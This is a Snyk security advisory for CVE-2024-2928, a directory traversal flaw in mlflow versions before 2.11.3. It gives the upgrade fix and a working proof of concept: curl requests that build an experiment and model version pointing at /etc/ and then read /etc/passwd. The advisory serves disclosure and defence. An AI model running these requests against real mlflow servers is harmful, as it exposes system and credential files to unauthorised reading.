Improper Access Control Affecting mlflow package, versions [,2.11.3)
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk IDSNYK-PYTHON-MLFLOW-7217833
- published7 Jun 2024
- disclosed6 Jun 2024
- creditPeng Zhou
Introduced: 6 Jun 2024
CVE-2024-2928 (opens in a new tab)How to fix?
Upgrade mlflow to version 2.11.3 or higher.
Overview
mlflow is a platform to streamline machine learning development, including tracking experiments, packaging code into reproducible runs, and sharing and deploying models.
Affected versions of this package are vulnerable to Improper Access Control through the URI fragment parsing process. An attacker can read arbitrary files on the local file system by manipulating the fragment part of the URI to include directory traversal sequences such as ../.
PoC
Start the mlflow web server:
mlflow ui --host 127.0.0.1:5000
Create a malicious experiment:
curl -X POST -H 'Content-Type: application/json' -d '{"name": "poc", "artifact_location": "http:///#/../../../../../../../../../../../../../../etc/"}' 'http://127.0.0.1:5000/ajax-api/2.0/mlflow/experiments/create'
Associate a run to it:
curl -X POST -H 'Content-Type: application/json' -d '{"experiment_id": "{{EXPERIMENT_ID}}"}' 'http://127.0.0.1:5000/api/2.0/mlflow/runs/create'
Create a registered model:
curl -X POST -H 'Content-Type: application/json' -d '{"name": "poc"}' 'http://127.0.0.1:5000/ajax-api/2.0/mlflow/registered-models/create'
Link a model version to the malicious run:
curl -X POST -H 'Content-Type: application/json' -d '{"name": "poc", "run_id": "{{RUN_ID}}", "source": "file:///etc/"}' 'http://127.0.0.1:5000/ajax-api/2.0/mlflow/model-versions/create'
Read /etc/passwd:
curl 'http://127.0.0.1:5000/model-versions/get-artifact?path=passwd&name=poc&version=1'